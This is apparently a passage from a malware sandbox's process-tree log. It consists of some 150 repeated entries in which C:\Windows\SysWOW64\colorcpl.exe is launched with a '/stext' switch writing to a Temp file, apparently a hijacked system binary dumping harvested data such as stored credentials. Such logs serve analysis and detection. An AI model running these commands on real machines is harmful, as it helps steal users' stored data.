  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5332
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5340
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5348
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5356
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5364
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5372
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5380
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5388
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5396
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5404
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5412
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5420
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5428
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5436
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5444
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5452
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5460
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5468
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5476
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5484
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5492
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5500
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5508
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5516
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5524
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5532
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5540
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5548
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5556
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5564
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5572
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5580
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5588
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5604
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5612
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5620
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5628
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5636
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5644
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5652
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5660
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5668
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5676
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5684
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5692
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5700
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5708
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5716
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5724
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5732
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5740
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5748
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5756
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5764
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5772
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5780
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5788
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5796
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5804
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5812
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5820
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5828
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5836
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5844
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5852
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5860
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5868
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5876
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5884
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5892
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5900
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5908
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5916
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5924
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5932
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5940
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5948
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5956
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5964
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5972
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5980
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5988
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5996
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6004
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6012
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6020
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6028
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6036
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6044
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6060
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6068
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6076
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6084
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6100
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6108
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6116
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6124
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6132
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:5212
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6020
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6152
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6160
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6168
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6176
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6184
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6192
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6200
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6208
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6216
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6224
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6232
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6240
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6248
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6256
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6264
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6272
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6280
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6288
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6296
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6304
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6312
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6320
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6328
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6336
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6344
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6352
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6360
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6368
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6376
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6384
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6392
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6400
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6408
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6416
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6424
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6432
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6440
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6448
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6456
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6464
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6472
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6480
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6488
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6496
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6504
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6512
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6520
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6528
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6536
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6544
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6552
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6560
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
      4⤵
      PID:6568
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hbsnfv"
